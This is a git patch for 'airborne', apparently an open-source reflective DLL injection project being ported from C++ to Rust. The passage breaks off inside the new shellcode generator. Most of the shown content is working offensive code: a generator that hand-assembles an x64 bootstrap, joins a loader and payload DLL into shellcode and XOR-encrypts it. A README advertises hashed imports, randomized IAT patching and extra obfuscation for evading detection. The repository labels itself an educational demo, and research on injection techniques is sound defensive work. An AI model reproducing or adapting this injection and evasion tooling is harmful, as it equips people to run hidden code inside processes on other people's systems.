From 08a32b0816301b2353125496c6faa5e0114fd555 Mon Sep 17 00:00:00 2001 From: 17ms <79069176+17ms@users.noreply.github.com> Date: Sun, 11 Feb 2024 22:52:08 +0200 Subject: [PATCH] tested builds w/o loader-level obfuscation --- .cargo/config | 2 + .gitignore | 62 +-- CMakeLists.txt | 61 --- Cargo.lock | 326 +++++++++++++ Cargo.toml | 27 ++ LICENSE | 2 +- README.md | 23 +- build.sh | 25 - generator/Cargo.toml | 18 + generator/generator.cpp | 266 ---------- generator/generator.hpp | 10 - generator/src/main.rs | 379 +++++++++++++++ injector/Cargo.toml | 16 + injector/injector.cpp | 56 --- injector/src/inject.rs | 62 +++ injector/src/main.rs | 89 ++++ injector/src/process.rs | 56 +++ payload/Cargo.toml | 18 + payload/payload.cpp | 24 - payload/src/lib.rs | 39 ++ reflective_loader/Cargo.toml | 20 + reflective_loader/loader.cpp | 392 --------------- reflective_loader/loader.hpp | 71 --- reflective_loader/src/lib.rs | 593 +++++++++++++++++++++++ reflective_loader/src/memory.rs | 126 +++++ shared/crypto.cpp | 63 --- shared/crypto.hpp | 15 - shared/futils.cpp | 15 - shared/futils.hpp | 10 - toolchains/darwin-mingw-w64-x86_64.cmake | 26 - toolchains/linux-mingw-w64-x86_64.cmake | 26 - utils/Cargo.toml | 7 + utils/src/lib.rs | 29 ++ 33 files changed, 1834 insertions(+), 1120 deletions(-) create mode 100644 .cargo/config delete mode 100644 CMakeLists.txt create mode 100644 Cargo.lock create mode 100644 Cargo.toml delete mode 100755 build.sh create mode 100644 generator/Cargo.toml delete mode 100644 generator/generator.cpp delete mode 100644 generator/generator.hpp create mode 100644 generator/src/main.rs create mode 100644 injector/Cargo.toml delete mode 100644 injector/injector.cpp create mode 100644 injector/src/inject.rs create mode 100644 injector/src/main.rs create mode 100644 injector/src/process.rs create mode 100644 payload/Cargo.toml delete mode 100644 payload/payload.cpp create mode 100644 payload/src/lib.rs create mode 100644 reflective_loader/Cargo.toml delete mode 100644 reflective_loader/loader.cpp delete mode 100644 reflective_loader/loader.hpp create mode 100644 reflective_loader/src/lib.rs create mode 100644 reflective_loader/src/memory.rs delete mode 100644 shared/crypto.cpp delete mode 100644 shared/crypto.hpp delete mode 100644 shared/futils.cpp delete mode 100644 shared/futils.hpp delete mode 100644 toolchains/darwin-mingw-w64-x86_64.cmake delete mode 100644 toolchains/linux-mingw-w64-x86_64.cmake create mode 100644 utils/Cargo.toml create mode 100644 utils/src/lib.rs diff --git a/.cargo/config b/.cargo/config new file mode 100644 index 0000000..eff6537 --- /dev/null +++ b/.cargo/config @@ -0,0 +1,2 @@ +[build] +target = "x86_64-pc-windows-gnu" \ No newline at end of file diff --git a/.gitignore b/.gitignore index f7660a4..5063414 100644 --- a/.gitignore +++ b/.gitignore @@ -1,55 +1,17 @@ -# Prerequisites -*.d +# Generated by Cargo +# will have compiled files and executables +debug/ +target/ -# Object files -*.o -*.ko -*.obj -*.elf +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +# Cargo.lock -# Linker output -*.ilk -*.map -*.exp +# These are backup files generated by rustfmt +**/*.rs.bk -# Precompiled Headers -*.gch -*.pch - -# Libraries -*.lib -*.a -*.la -*.lo - -# Shared objects (inc. Windows DLLs) -*.dll -*.so -*.so.* -*.dylib - -# Executables -*.exe -*.out -*.app -*.i*86 -*.x86_64 -*.hex - -# Debug files -*.dSYM/ -*.su -*.idb +# MSVC Windows builds of rustc generate these, which store debugging information *.pdb -# Kernel Module Compile Results -*.mod* -*.cmd -.tmp_versions/ -modules.order -Module.symvers -Mkfile.old -dkms.conf - -# CMAke generated makefiles -build/ +# Local executables/binaries +*.exe diff --git a/CMakeLists.txt b/CMakeLists.txt deleted file mode 100644 index ed0948a..0000000 --- a/CMakeLists.txt +++ /dev/null @@ -1,61 +0,0 @@ -cmake_minimum_required(VERSION 3.11) -project( - airborne - VERSION 0.1.0 - DESCRIPTION "Reflective DLL injection demonstration" - LANGUAGES CXX -) - -set(CMAKE_CXX_STANDARD 17) - -if(NOT CMAKE_SYSTEM_NAME MATCHES Windows) - message(FATAL_ERROR "Use a cross compilation suitable toolchain with CMAKE_SYSTEM_NAME set to Windows") -endif() - -# Build as Release by default -if(NOT CMAKE_BUILD_TYPE) - set(CMAKE_BUILD_TYPE Release) -endif() - -include(CheckIPOSupported) -check_ipo_supported(RESULT lto_supported OUTPUT error) - -# Enable LTO if supported -if(lto_supported) - set(CMAKE_INTERPROCEDURAL_OPTIMIZATION TRUE) -else() - message(WARNING "LTO is not supported: ${error}") -endif() - -if(NOT MSVC) - add_compile_options("-Wall" "-Wextra" "-Os") - set(CMAKE_EXE_LINKED_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -s") -else() - add_compile_options("/W4" "/WX" "/O1" "/GL") - set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} /INCREMENTAL:NO /OPT:REF /OPT:ICF /PDBSTRIPPED") - set(CMAKE_SHARED_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} /INCREMENTAL:NO /OPT:REF /OPT:ICF /PDBSTRIPPED") -endif() - -# *) Shared modules -add_library(shared STATIC shared/crypto.cpp shared/crypto.hpp shared/futils.cpp shared/futils.hpp) - -# *) Reflective loader (DLL) -add_library(loader SHARED reflective_loader/loader.cpp reflective_loader/loader.hpp) -target_link_libraries(loader PRIVATE shared) - -# *) Payload (DLL) -add_library(payload SHARED payload/payload.cpp) - -# *) Shellcode generator (EXE) -add_executable(generator generator/generator.cpp generator/generator.hpp) -target_link_libraries(generator PRIVATE shared) - -# *) Injector (EXE) -add_executable(injector injector/injector.cpp) -target_link_libraries(injector PRIVATE shared) - -if(NOT MSVC) - foreach(target loader payload generator injector) - add_custom_command(TARGET ${target} POST_BUILD COMMAND ${CMAKE_STRIP} $) # Strip binaries - endforeach() -endif() diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..8382ac4 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,326 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "airborne-generator" +version = "0.1.0" +dependencies = [ + "airborne-utils", + "clap", + "rand", + "windows-sys", +] + +[[package]] +name = "airborne-injector" +version = "0.1.0" +dependencies = [ + "airborne-utils", + "lexopt", + "windows-sys", +] + +[[package]] +name = "airborne-payload" +version = "0.1.0" +dependencies = [ + "windows-sys", +] + +[[package]] +name = "airborne-reflective_loader" +version = "0.1.0" +dependencies = [ + "airborne-utils", + "rand_core", + "windows-sys", +] + +[[package]] +name = "airborne-utils" +version = "0.1.0" + +[[package]] +name = "anstream" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" + +[[package]] +name = "anstyle-parse" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" +dependencies = [ + "windows-sys", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" +dependencies = [ + "anstyle", + "windows-sys", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "clap" +version = "4.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e578d6ec4194633722ccf9544794b71b1385c3c027efe0c55db226fc880865c" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4df4df40ec50c46000231c914968278b1eb05098cf8f1b3a518a95030e71d1c7" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "clap_lex" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" + +[[package]] +name = "colorchoice" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" + +[[package]] +name = "getrandom" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "lexopt" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baff4b617f7df3d896f97fe922b64817f6cd9a756bb81d40f8883f2f66dcb401" + +[[package]] +name = "libc" +version = "0.2.152" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "proc-macro2" +version = "1.0.78" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "syn" +version = "2.0.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "utf8parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..8ea8f0c --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,27 @@ +[workspace] +resolver = "2" + +members = [ + "injector", + "payload", + "generator", + "reflective_loader", + "utils" +] + +[profile.release] +opt-level = "z" # Optimize for size, but also turn off loop vectorization. +lto = true # Enable Link Time Optimization +codegen-units = 1 # Reduce number of codegen units to increase optimizations. +panic = "abort" # Abort on panic +strip = true # Automatically strip symbols from the binary. + +[profile.dev] +opt-level = "z" # Optimize for size, but also turn off loop vectorization. +lto = true # Enable Link Time Optimization +codegen-units = 1 # Reduce number of codegen units to increase optimizations. +panic = "abort" # Abort on panic +strip = true # Automatically strip symbols from the binary. + +# More information about the profile attributes: https://doc.rust-lang.org/cargo/reference/profiles.html + diff --git a/LICENSE b/LICENSE index cf57521..54417d4 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2023 17ms +Copyright (c) 2024 17ms Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/README.md b/README.md index a53dfe8..5c7be01 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# Shellcode reflective DLL injection in C++ +# Shellcode reflective DLL injection in Rust Reflective DLL injection demo for fun and education. In practical applications, there's significant scope for enhancing build sizes, obfuscation, and delivery logic. @@ -8,26 +8,31 @@ Reflective DLL injection demo for fun and education. In practical applications, ```shell . -├── build.sh # Build script (cmake & make) ├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data) ├── injector # PoC injector -├── payload # PoC payload (DllMain & PrintMessage(lpUserData)) -├── reflective_loader # sRDI implementation -├── shared # Common cryptographic & file modules -└── toolchains # Cross-compilation toolchains (linux & darwin) +├── payload # PoC payload (DllMain and PrintMessage) +└── reflective_loader # sRDI implementation ``` ### Features +- Compact filesize (~14 kB) - Hashed import names & indirect function calls -- Randomized export iteration & IAT patching -- XOR encryption for shellcode (randomized key generated during shellcode generation) +- Randomized payload export iteration & IAT patching +- XOR encryption for shellcode (shellcode generation specific keys) Check out [Alcatraz](https://github.com/weak1337/Alcatraz/) for additional obfuscation for the shellcode/injector. ### Usage -Compile the libraries and executables with the included `build.sh` shellscript (if cross-compiling). +The following command compiles the DLLs and executables into `target`: + +```shell +$ cargo build --release +``` + +1. Generate shellcode containing the loader and the payload +2. Inject the created shellcode into target ### Disclaimer diff --git a/build.sh b/build.sh deleted file mode 100755 index f6cd029..0000000 --- a/build.sh +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env bash - -CORES=$(nproc) -USED=$(($CORES / 2)) - -case $(uname -a) in - Linux*) - echo "[+] Using Linux toolchain" - TOOLCHAIN="linux-mingw-w64-x86_64.cmake" - ;; - Darwin*) - echo "[+] Using Darwin toolchain" - TOOLCHAIN="darwin-mingw-w64-x86_64.cmake" - ;; -esac - -echo "[+] Running CMake with specified toolchain, outputting to build/" -if ! cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/$TOOLCHAIN -B build -then - echo "[!] CMake failed, aborting build" - exit 1 -fi - -echo "[+] Running Make with $USED threads" -make -j$USED -C build diff --git a/generator/Cargo.toml b/generator/Cargo.toml new file mode 100644 index 0000000..ccfe086 --- /dev/null +++ b/generator/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "airborne-generator" +version = "0.1.0" +edition = "2021" + +[dependencies] +clap = {version = "4.4.18", features = ["derive"] } +rand = "0.8.5" +airborne-utils = { path = "../utils" } + +[dependencies.windows-sys] +version = "0.52.0" +features = [ + "Win32_Foundation", + "Win32_System_SystemServices", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemInformation" +] diff --git a/generator/generator.cpp b/generator/generator.cpp deleted file mode 100644 index 19b9e50..0000000 --- a/generator/generator.cpp +++ /dev/null @@ -1,266 +0,0 @@ -#include "generator.hpp" - -#include -#include - -#include "../shared/crypto.hpp" -#include "../shared/futils.hpp" - -int main(int argc, char **argv) { - uint8_t flag = false; - std::string loaderPath, payloadPath, funcName, funcParameter, outputPath; - - const char *shortOptions = "l:p:n:a:o:fh"; - static struct option longOptions[] = { - {"loader", required_argument, nullptr, 'l'}, - {"payload", required_argument, nullptr, 'p'}, - {"function", required_argument, nullptr, 'n'}, - {"parameter", required_argument, nullptr, 'a'}, - {"output", required_argument, nullptr, 'o'}, - {"flag", no_argument, nullptr, 'f'}, - {"help", no_argument, nullptr, 'h'}, - }; - - if (argc < 9) { - PrintHelp(argv); - return 1; - } - - while (1) { - const auto opt = getopt_long(argc, argv, shortOptions, longOptions, nullptr); - - if (-1 == opt) { - break; - } - - switch (opt) { - case 'l': - loaderPath = optarg; - break; - case 'p': - payloadPath = optarg; - break; - case 'n': - funcName = optarg; - break; - case 'a': - funcParameter = optarg; - break; - case 'o': - outputPath = optarg; - break; - case 'f': - flag = true; - break; - case 'h': - PrintHelp(argv); - return 0; - default: - PrintHelp(argv); - return 1; - } - } - - std::cout << "[+] Loader path: " << loaderPath << std::endl; - std::cout << "[+] Payload path: " << payloadPath << std::endl; - std::cout << "[+] Output path: " << outputPath << std::endl; - - auto loaderContents = ReadFromFile(loaderPath); - auto payloadContents = ReadFromFile(payloadPath); - - // Compose the complete shellcode from loader, payload, and bootstrap - - std::vector bootstrap; - DWORD funcParameterHash = CalculateHash(funcParameter); - - /* - 1.) Save the current location in memory for calculating offsets later - */ - - // Call the next instruction (push next instruction address to stack) - bootstrap.push_back(0xe8); - bootstrap.push_back(0x00); - bootstrap.push_back(0x00); - bootstrap.push_back(0x00); - bootstrap.push_back(0x00); - - // pop rcx -> Pop the value saved on the stack into rcx to caputre our current location in memory - bootstrap.push_back(0x59); - - // mov r8, rcx -> Copy the value of rcx into r8 before starting to modify rcx - bootstrap.push_back(0x49); - bootstrap.push_back(0x89); - bootstrap.push_back(0xc8); - - /* - 2.) Align the stack and create shadow space - */ - - // push rsi -> Save the original value - bootstrap.push_back(0x56); - - // mov rsi, rsp -> Stores the current stack pointer in rsi for later - bootstrap.push_back(0x48); - bootstrap.push_back(0x89); - bootstrap.push_back(0xe6); - - // and rsp, 0xfffffffffffffff0 -> Align the stack to 16 bytes - bootstrap.push_back(0x48); - bootstrap.push_back(0x83); - bootstrap.push_back(0xe4); - bootstrap.push_back(0xf0); - - // sub rsp, 0x30 -> (48 bytes) Create shadow space on the stack (required for x64, minimum of 32 bytes required for rcx, rdx, r8, and r9) - bootstrap.push_back(0x48); - bootstrap.push_back(0x83); - bootstrap.push_back(0xec); - bootstrap.push_back(6 * 8); // 6 (args) * 8 (bytes) - - /* - 3.) Setup reflective loader parameters: Place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments) - */ - - // mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) -> (32 bytes) Push in the shellcode base address as the 5th argument - bootstrap.push_back(0x48); - bootstrap.push_back(0x89); - bootstrap.push_back(0x4c); - bootstrap.push_back(0x24); - bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes) - - // sub qword ptr [rsp + 0x20], 0x5 (shellcode base) -> Modify the 5th argument to point to the start of the real shellcode base address - bootstrap.push_back(0x48); - bootstrap.push_back(0x83); - bootstrap.push_back(0x6c); - bootstrap.push_back(0x24); - bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes) - bootstrap.push_back(5); // Minus 5 bytes (because call 0x00 is 5 bytes to get the real shellcode base address) - - // mov dword ptr [rsp + 0x28], -> (40 bytes) Push in the flags as the 6th argument - bootstrap.push_back(0xc7); - bootstrap.push_back(0x44); - bootstrap.push_back(0x24); - bootstrap.push_back(5 * 8); // 5 (args) * 8 (bytes) - bootstrap.push_back(flag); - - /* - 4.) Setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9 - */ - - // mov r9, -> Copy the 4th parameter, the size of the function parameter, into r9 - bootstrap.push_back(0x41); - bootstrap.push_back(0xb9); - auto funcParameterSize = static_cast(funcParameter.size()); - bootstrap.push_back(static_cast(funcParameterSize)); - - // add r8, + -> Copy the 3rd parameter, the offset of the function parameter, into r8 and add the payload size - bootstrap.push_back(0x49); - bootstrap.push_back(0x81); - bootstrap.push_back(0xc0); - auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size(); - - for (size_t i = 0; i < sizeof(funcParameterOffset); i++) { - bootstrap.push_back(static_cast(funcParameterOffset >> (i * 8) & 0xff)); - } - - // mov edx, -> Copy the 2nd parameter, the hash of the function parameter, into edx - bootstrap.push_back(0xba); - - for (size_t i = 0; i < sizeof(funcParameterHash); i++) { - bootstrap.push_back(static_cast(funcParameterHash >> (i * 8) & 0xff)); - } - - // add rcx, -> Copy the 1st parameter, the address of the payload, into rcx - bootstrap.push_back(0x48); - bootstrap.push_back(0x81); - bootstrap.push_back(0xc1); - auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size(); - - for (size_t i = 0; i < sizeof(payloadOffset); i++) { - bootstrap.push_back(static_cast(payloadOffset >> (i * 8) & 0xff)); - } - - /* - 5.) Call the reflective loader - */ - - // Call -> Call the reflective loader address - bootstrap.push_back(0xe8); - auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size(); - - for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++) { - bootstrap.push_back(static_cast(reflectiveLoaderAddress >> (i * 8) & 0xff)); - } - - // Add padding - bootstrap.push_back(0x90); - bootstrap.push_back(0x90); - - /* - 6.) Restore the stack and return to the original location (caller) - */ - - // mov rsp, rsi -> Restore the original stack pointer - bootstrap.push_back(0x48); - bootstrap.push_back(0x89); - bootstrap.push_back(0xf4); - - // pop rsi -> Restore the original value - bootstrap.push_back(0x5e); - - // ret -> Return to the original location - bootstrap.push_back(0xc3); - - // Add padding - bootstrap.push_back(0x90); - bootstrap.push_back(0x90); - - if (bootstrap.size() != BOOTSTRAP_LEN) { - std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl; - return 1; - } - - std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl; - std::cout << "[+] Loader size: " << loaderContents.size() << std::endl; - std::cout << "[+] Payload size: " << payloadContents.size() << std::endl; - - /* - Form the complete shellcode with the following structure: - - Bootstrap - - RDI shellcode - - Payload DLL bytes - - User data - */ - - bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end()); - bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end()); - - // XOR with a random content length key - std::cout << "[+] XOR'ing the shellcode..." << std::endl; - auto key = GenerateKey(bootstrap.size()); - XorCipher(&bootstrap, key); - - std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl; - - WriteToFile(outputPath, bootstrap); - std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl; - - auto keyPath = outputPath + ".key"; - WriteToFile(keyPath, key); - std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl; - - return 0; -} - -void PrintHelp(char **argv) { - std::cout << "\nUsage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl; - std::cout << "\nArguments (required):" << std::endl; - std::cout << "\t-l, --loader Path to loader file" << std::endl; - std::cout << "\t-p, --payload Path to payload file" << std::endl; - std::cout << "\t-n, --function Function name to call inside payload" << std::endl; - std::cout << "\t-a, --parameter Function parameter to pass to the called function" << std::endl; - std::cout << "\t-o, --output Path to output file" << std::endl; - std::cout << "\nOptions:" << std::endl; - std::cout << "\t-f, --flag Flag to run defined payload's defined function instead of DllMain" << std::endl; - std::cout << "\t-h, --help Print this help message\n" - << std::endl; -} diff --git a/generator/generator.hpp b/generator/generator.hpp deleted file mode 100644 index c406cf4..0000000 --- a/generator/generator.hpp +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -#include -#include - -#include - -constexpr auto BOOTSTRAP_LEN = 85; - -void PrintHelp(char **argv); diff --git a/generator/src/main.rs b/generator/src/main.rs new file mode 100644 index 0000000..a7e6844 --- /dev/null +++ b/generator/src/main.rs @@ -0,0 +1,379 @@ +use std::{collections::BTreeMap, ffi::CStr, fs, path::PathBuf, slice::from_raw_parts}; + +use airborne_utils::calc_hash; +use clap::Parser; +use windows_sys::Win32::{ + System::Diagnostics::Debug::IMAGE_NT_HEADERS64, + System::{ + Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_SECTION_HEADER}, + SystemServices::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY}, + }, +}; + +#[derive(Parser, Debug)] +#[command(version)] +struct Args { + /// Path to the sRDI loader DLL + #[arg(short, long = "loader")] + loader_path: PathBuf, + /// Path to the payload DLL + #[arg(short, long = "payload")] + payload_path: PathBuf, + /// Name of the function to call in the payload DLL + #[arg(short, long = "function")] + function_name: String, + /// Parameter to pass to the function + #[arg(short = 'n', long)] + parameter: String, + /// Path to the output file + #[arg(short, long = "output")] + output_path: PathBuf, + /// Flag to pass to the loader (by default DllMain is called) + #[arg(short, long, default_value_t = 0)] + flag: u32, // preferably set type as u32 here instead of casting it when generating bootstrap +} + +// NOTE: must be updated accordingly if the loader name or the bootstrap code is modified +const LOADER_ENTRY_NAME: &str = "loader"; +const BOOTSTRAP_TOTAL_LENGTH: u32 = 79; + +fn main() { + let args = Args::parse(); + + // preserve the path from being dropped + let output_path = args.output_path.clone(); + + let loader_path_str = args.loader_path.to_str().unwrap(); + let payload_path_str = args.payload_path.to_str().unwrap(); + let output_path_str = args.output_path.to_str().unwrap(); + + println!("[+] reflective loader: {}", loader_path_str); + println!("[+] payload: {}", payload_path_str); + println!("[+] output: {}", output_path_str); + + let mut loader_b = fs::read(args.loader_path).expect("failed to read sRDI DLL"); + let mut payload_b = fs::read(args.payload_path).expect("failed to read payload DLL"); + let function_hash = calc_hash(args.function_name.as_bytes()); + + let mut shellcode = gen_sc( + &mut loader_b, + &mut payload_b, + function_hash, + args.parameter, + args.flag, + ); + + println!("\n[+] xor'ing shellcode"); + let key = gen_xor_key(shellcode.len()); + airborne_utils::xor_cipher(&mut shellcode, &key); + let mut key_output_path = output_path.clone().into_os_string(); + key_output_path.push(".key"); + let key_output_path_str = key_output_path.to_str().unwrap(); + + println!("\n[+] writing shellcode to '{}'", output_path_str); + fs::write(output_path, shellcode).expect("failed to write shellcode to output file"); + println!("[+] writing xor key to '{}'", key_output_path_str); + fs::write(key_output_path, key).expect("failed to write xor key to output file"); +} + +fn gen_sc( + loader_b: &mut Vec, + payload_b: &mut Vec, + function_hash: u32, + parameter: String, + flag: u32, +) -> Vec { + let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME) + .expect("failed to get loader entry point"); + let loader_offset = loader_addr as usize - 